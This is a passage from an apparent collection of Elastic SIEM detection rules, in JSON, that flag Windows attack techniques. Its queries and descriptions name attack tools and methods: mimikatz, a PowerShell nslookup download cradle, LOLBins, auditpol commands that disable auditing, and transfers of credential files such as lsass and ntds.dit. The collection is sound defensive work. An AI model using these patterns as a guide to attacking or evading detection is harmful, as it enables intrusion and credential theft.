"Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Agro (@agro_sev) oscd.community"], "license": ""}
{"description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.", "enabled": false, "false_positives": ["Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5c1e142b-2b5c-3942-2d78-b9a7ef45703b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SQL Client Tools PowerShell Session Detection", "query": "((process.executable:*\\\\sqltoolsps.exe OR process.parent.executable:*\\\\sqltoolsps.exe OR winlog.event_data.OriginalFileName:\"\\\\sqltoolsps.exe\") AND (NOT (process.parent.executable:*\\\\smss.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1127"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Agro (@agro_sev) oscd.communitly"], "license": ""}
{"description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "499040c2-8ac1-5aa6-b29e-11e63bfe3cd8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution of Powershell Script in Public Folder", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:(*\\-f\\ C\\:\\\\Users\\\\Public* OR *\\-f\\ \\\"C\\:\\\\Users\\\\Public* OR *\\-f\\ %Public%* OR *\\-fi\\ C\\:\\\\Users\\\\Public* OR *\\-fi\\ \\\"C\\:\\\\Users\\\\Public* OR *\\-fi\\ %Public%* OR *\\-fil\\ C\\:\\\\Users\\\\Public* OR *\\-fil\\ \\\"C\\:\\\\Users\\\\Public* OR *\\-fil\\ %Public%* OR *\\-file\\ C\\:\\\\Users\\\\Public* OR *\\-file\\ \\\"C\\:\\\\Users\\\\Public* OR *\\-file\\ %Public%*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", "author": ["Sittikorn S"], "enabled": false, "false_positives": ["Vulnerability Scanning"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8a2935e9-72ea-1d37-0a88-7f1fe4925645", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Pulse Connect Secure RCE Attack CVE-2021-22893", "query": "(cs-uri-query:(*\\/dana\\-na\\/auth\\/* OR *\\/dana\\-ws\\/* OR *\\/dana\\-cached\\/*) AND cs-uri-query:(*?id\\=* OR *?token\\=* OR *Secid_canceltoken.cgi* OR *CGI\\:\\:param* OR *meeting* OR *smb* OR *namedusers* OR *metric*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "18ff611e-e1b9-8c35-c5e1-89cc65698561", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Created Files by Microsoft Sync Center", "query": "(process.executable:*\\\\mobsync.exe AND file.path:(*.dll OR *.exe))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "This rule detects suspicious processes with parent images located in the C:\\Users\\Public folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "583f421b-8303-0bf6-7c91-d6c34a4f1f95", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Parent in Public Folder Suspicious Process", "query": "(process.parent.executable:C\\:\\\\Users\\\\Public\\\\* AND process.command_line:(*powershell* OR *cmd.exe\\ \\/c\\ * OR *cmd\\ \\/c\\ * OR *wscript.exe* OR *cscript.exe* OR *bitsadmin* OR *certutil* OR *mshta.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c7746503-26e1-dcac-1649-f46c0b6b4a13", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution DLL of Choice Using WAB.EXE", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\WAB\\\\DLLPath) AND (NOT (winlog.event_data.Details:\"%CommonProgramFiles%\\\\System\\\\wab32.dll\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "This rule detects the execution of Run Once task as configured in the registry", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "163ce66e-b960-d653-da61-827eb2271b92", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Run Once Task Execution as Configured in Registry", "query": "((process.executable:*\\\\runonce.exe OR winlog.event_data.Description:\"Run\\ Once\\ Wrapper\") AND process.command_line:*\\ \\/AlternateShellStartup*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Avneet Singh @v3t0_", "oscd.community"], "license": ""}
{"description": "This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with \"kali\" hostname.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "39642e25-29ca-8ca5-0479-4fc9cf74536e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Zerologon Exploitation Using Well-known Tools", "query": "(winlog.channel:\"System\" AND winlog.event_id:(\"5805\" OR \"5723\") AND (*kali* OR *mimikatz*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Demyan Sokolin @_drd0c", "Teymur Kheirkhabarov @HeirhabarovT", "oscd.community"], "license": ""}
{"description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cbf473aa-3680-24ee-c0f4-f5f928a9342a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Always Install Elevated MSI Spawned Cmd And Powershell", "query": "((process.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe) OR winlog.event_data.OriginalFileName:(\"Cmd.Exe\" OR \"PowerShell.EXE\" OR \"pwsh.dll\")) AND (process.parent.executable.text:*\\\\Windows\\\\Installer\\\\* AND process.parent.executable.text:*msi* AND process.parent.executable.text:*tmp))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Mangatas Tondang (rule)", "oscd.community"], "license": ""}
{"description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", "enabled": false, "false_positives": ["System administrator usage", "Anti virus products"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f351d699-a7f5-3336-2e22-f0b2eb25516a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Always Install Elevated Windows Installer", "query": "((((process.executable.text:*\\\\Windows\\\\Installer\\\\* AND process.executable.text:*msi* AND process.executable.text:*tmp) OR (process.executable.text:*\\\\msiexec.exe AND IntegrityLevel:\"System\")) AND user.name:(*AUTHORI* OR *AUTORI*)) AND (NOT ((process.parent.executable.text:\"C\\:\\\\Windows\\\\System32\\\\services.exe\") OR (process.command_line.text:*\\\\system32\\\\msiexec.exe\\ \\/V OR process.parent.command_line.text:*\\\\system32\\\\msiexec.exe\\ \\/V) OR (process.parent.executable.text:(C\\:\\\\ProgramData\\\\Sophos\\\\* OR C\\:\\\\ProgramData\\\\Avira\\\\* OR C\\:\\\\Program\\ Files\\\\Avast\\ Software\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Avast\\ Software\\\\* OR C\\:\\\\Program\\ Files\\\\Google\\\\Update\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Google\\\\Update\\\\*)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Mangatas Tondang (rule)", "oscd.community"], "license": ""}
{"description": "This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt )[-1]", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1c7b43d6-22a3-a23b-3819-c0c7248f9498", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Nslookup PwSh Download Cradle", "query": "(process.parent.executable.text:*\\\\powershell.exe AND process.executable.text:*nslookup* AND process.command_line.text:*\\=txt\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1071", "T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Zach Mathis (@yamatosecurity)"], "license": ""}
{"description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", "enabled": false, "false_positives": ["Legitimate administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7ef8a58a-0490-e67c-64a1-be6c4d7fe1c6", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Added to Local Administrators", "query": "(winlog.channel:\"Security\" AND ((Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"4732\") AND (winlog.event_data.TargetUserName:Administr* OR winlog.event_data.TargetSid:\"S\\-1\\-5\\-32\\-544\")) AND (NOT (winlog.event_data.SubjectUserName:*$)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1078", "T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}, {"id": "T1098", "name": "Account Manipulation", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2337e9ca-7dbd-95c4-0ed9-709665e9cab0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New Lolbin Process by Office Applications", "query": "(process.executable.text:(*\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\mshta.exe OR *\\\\verclsid.exe OR *\\\\msdt.exe OR *\\\\control.exe OR *\\\\msidb.exe) AND process.parent.executable.text:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\eqnedt32.exe OR *\\\\visio.exe OR *\\\\wordpad.exe OR *\\\\wordview.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "(aka_REvil)_Ransomware.yaml", "", "", ""], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)", "Michael Haag", "Christopher Peacock @securepeacock (Update)", "SCYTHE @scythe_io (Update)"], "license": ""}
{"description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3ab423b9-cb12-c777-4934-2a137ce540a3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Created Files by Office Applications", "query": "((process.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe) AND file.path:(*.exe OR *.dll OR *.ocx OR *.com OR *.ps1 OR *.vbs OR *.sys OR *.bat OR *.scr OR *.proj)) AND (NOT ((file.path:*C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Microsoft\\\\Office\\\\* AND file.path:*\\\\WebServiceCache\\\\AllUsers* AND file.path:*.com) OR (process.executable:*\\\\winword.exe AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\webexdelta\\\\* AND file.path:(*.dll OR *.exe)) OR (file.path:*\\\\AppData\\\\Local\\\\assembly\\\\tmp\\\\* AND file.path:*.dll))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0d241481-58bf-26b7-acbb-f2868e0e5cee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Lolbins Process Creation with WmiPrvse", "query": "(process.executable:(*\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\msiexec.exe OR *\\\\mshta.exe OR *\\\\verclsid.exe) AND process.parent.executable:*\\\\wbem\\\\WmiPrvSE.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7ce1a195-43ed-41a5-c38e-871e7dd6eb3e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "NTFS Vulnerability Exploitation", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Ntfs\" AND winlog.event_id:\"55\" AND Origin:\"File\\ System\\ Driver\" AND winlog.event_data.Description:*contains\\ a\\ corrupted\\ file\\ record* AND winlog.event_data.Description:*The\\ name\\ of\\ the\\ file\\ is\\ \\\"\\\\\\\"*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1499"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1499", "name": "Endpoint Denial of Service", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2d0ac888-19a4-bab9-f322-18dcbb8db48c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Execution of Adidnsdump", "query": "(process.executable:*\\\\python.exe AND process.command_line:*adidnsdump*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Threat actors can use an older version of the auditpol binary available inside the NT resource kit to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4fd1e8ca-0463-61b0-d69a-6a2ccb10a26b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious NT Resource Kit Auditpol Usage", "query": "process.command_line:(*\\/logon\\:none* OR *\\/system\\:none* OR *\\/sam\\:none* OR *\\/privilege\\:none* OR *\\/object\\:none* OR *\\/process\\:none* OR *\\/policy\\:none*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability. This can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9dd37f1e-0fdf-a178-36d5-39738085214b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Auditpol Usage", "query": "(process.executable.text:*\\\\auditpol.exe AND process.command_line.text:(*disable* OR *clear* OR *remove* OR *restore*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Janantha Marasinghe ()"], "license": ""}
{"description": "Threat actors can use the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery.", "enabled": false, "false_positives": ["Another tool that uses the command line switches of PsLogList", "Legitimate use of PsLogList by an administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1f1337af-f2ff-06a5-46f6-0344f6ef5572", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Use of PsLogList", "query": "((winlog.event_data.OriginalFileName:\"psloglist.exe\" OR process.executable:(*\\\\psloglist.exe OR *\\\\psloglist64.exe)) OR (process.command_line:*security* AND process.command_line:*accepteula* AND process.command_line:(*\\ \\-d* OR *\\ \\/d* OR *\\ \\-x* OR *\\ \\/x* OR *\\ \\-s* OR *\\ \\/s*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1087", "T1087", "T1087"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}, {"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6b60b417-3436-a9a0-3c96-559fb9b7ee6d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Reg Add Open Command", "query": "(process.command_line:*reg* AND ((process.command_line:*add* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings\\\\shell\\\\open\\\\command* AND process.command_line:*\\/ve\\ * AND process.command_line:*\\/d*) OR (process.command_line:*add* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings\\\\shell\\\\open\\\\command* AND process.command_line:*\\/v* AND process.command_line:*DelegateExecute*) OR (process.command_line:*delete* AND process.command_line:*hkcu\\\\software\\\\classes\\\\ms\\-settings*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Tools to Capture Network Packets on the windows 10 with October 2018 Update or later.", "enabled": false, "false_positives": ["Legitimate use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b243539e-5949-2a88-0ec9-e8844c5457ce", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of PktMon.exe", "query": "(process.executable:*PktMon.exe OR winlog.event_data.OriginalFileName:\"PktMon.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "enabled": false, "false_positives": ["Transferring sensitive files for legitimate administration work by legitimate administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8699a2b0-130d-558b-8109-32a4e3c199ca", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Transferring Files with Credential Data via Network Shares", "query": "(winlog.channel:\"Security\" AND Provider_Name:\"Microsoft\\-Windows\\-Security\\-Auditing\" AND winlog.event_id:\"5145\" AND winlog.event_data.RelativeTargetName:(*\\\\mimidrv* OR *\\\\lsass* OR *\\\\windows\\\\minidump\\\\* OR *\\\\hiberfil* OR *\\\\sqldmpr* OR *\\\\sam* OR *\\\\ntds.dit* OR *\\\\security*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov", "oscd.community"], "license": ""}
{"description": "Transferring files with well-known filenames (sensitive files with credential data) using network shares", "enabled": false, "false_positives": ["Transferring sensitive files for legitimate administration work by legitimate administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "322cf8e8-998d-eacf-918f-7f0a64f2c9b1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Transferring Files with Credential Data via Network Shares - Zeek", "query": "(event.dataset:\"smb_files\" AND file.name.text:(\"\\\\mimidrv\" OR \"\\\\lsass\" OR \"\\\\windows\\\\minidump\\\\\" OR \"\\\\hiberfil\" OR \"\\\\sqldmpr\" OR \"\\\\sam\" OR \"\\\\ntds.dit\" OR \"\\\\security\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003", "T1003", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}, {"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "Teymur Kheirkhabarov", "oscd.community"], "license": ""}
